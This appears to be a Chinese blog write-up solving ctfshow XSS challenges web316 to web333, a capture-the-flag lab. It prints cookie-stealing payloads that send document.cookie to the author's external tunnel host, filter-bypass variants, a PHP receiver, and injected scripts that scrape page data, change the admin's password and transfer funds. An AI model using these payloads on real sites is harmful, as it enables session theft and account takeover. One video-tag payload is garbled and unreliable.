ctfshow-XSS-web316-333

发布于 2023-03-30  230 次阅读


web 316

反射性xss,读取一下cookie看一下

<script>alert(document.cookie)</script>

image-20230328192254619

不是管理员

这是因为读取的是我们的cookie,由于我们提交的链接,机器人会自动读取,我们让机器人访问我们的链接,并将它的cookie写入到我们的服务器中,这样获得的是他的cookie,也就有flag了

本地写了一个1.php文件,可以将get传参写入到本地

<?php
    $a = $_GET[1];
    if($a) {
        file_put_contents('flag.txt',$a);
    }

内网穿透一下

<script>document.location.href="http://512845is18.yicp.fun:40764/1.php?1="+document.cookie</script>

写入到本地的flag.txt文件中,获得flag

image-20230328205518787

web 317

开始过滤,应该是<script>被过滤了

<SCRIPT>alert(1)</SCRIPT>

使用别的标签就可以

    <img src="" onerror="document.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie">

web 318

应该是过滤了img标签了,我插入正常的图片都不行了

<body onload="window.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie"><body>

web 319

<body onload="window.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie"><body>
<video οnlοadstart=alert(1) src="window.location.href='https://huashengke.yicp.fun/1.php?1='+document.cookie" />

web 320

过滤了空格,使用注释代替就可以

<body/**/onload="window.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie"><body>

或者tab绕过,对%09进行url解码

<body    onload="window.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie"><body>

web 321

直接

<body/**/onload="window.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie"><body>

web 322

<body/**/onload="window.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie"><body>
<iframe  onload="window.open('https://512845is18.yicp.fun/1.php?1='+document.cookie)"></iframe>

web 323

iframe被过滤,但是没有过滤body,继续用

<body/**/onload="window.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie"><body>

web 324

继续

<body/**/onload="window.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie"><body>

web 325

继续

<body/**/onload="window.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie"><body>

web 326

继续

<body/**/onload="window.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie"><body>

web 327

收件人必须是admin

发送信息为

<body/**/onload="window.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie"><body>

web 328

<script>window.location.href='https://512845is18.yicp.fun/1.php?1='+document.cookie</script>

web 329

还是上面的做法,成功获得到了cookie,但是一直就是失效的session,应该是机器人在访问了链接之后,立刻就退出了账号,导致session虽然获取到,但是用不了。

但是可以说明我们插入的js代码可以执行

我们可以构造一个js代码,将页面中的密码部分都写到我们的flag.txt文件中,payload如下

<script>
var arr = [];
$(".layui-table-cell.laytable-cell-1-0-1").each(function(){
    arr.push($(this).text());
});
console.log(arr);

location.href='https://512845is18.yicp.fun/1.php?1=' + arr;
</script>

web 330

直接尝试获取cookie,未果

发现有一处修改密码,我们修改一下自己的密码,抓包看看

image-20230329140324477

修改密码只有有个参数p

<script>document.location.href="/api/change.php?p=123456"</script>

那我们可以插入js代码让页面自动跳转到我们构造好的修改密码链接

但是现在执行不了js代码,应该是过滤了某些参数,我们试一试

注册用户admin123,密码为<script>,注册成功,但是登录果然是失败了,说明<script>被过滤了

我们可以用户名为payload,试一下,可以

<script>document.location.href='/api/change.php?p=123456'</script>

web 331

修改密码变成了post提交

<script>$.ajax({url:'/api/change.php',type:'post',data:{p:'123456'}});</script>

web 332

转账处,转账-10000,转账成功,有钱买flag了

web 333

尝试修改admin用户的密码,没有修改成功。

<script>$.ajax({url:'/api/change.php',type:'post',data:{p:'123456'}});</script>

尝试admin给我们的账户转账admin123,成功

<script>$.ajax({url:'/api/amount.php',type:'post',data:{u:'admin123',a:'9999'}});</script>

获得flag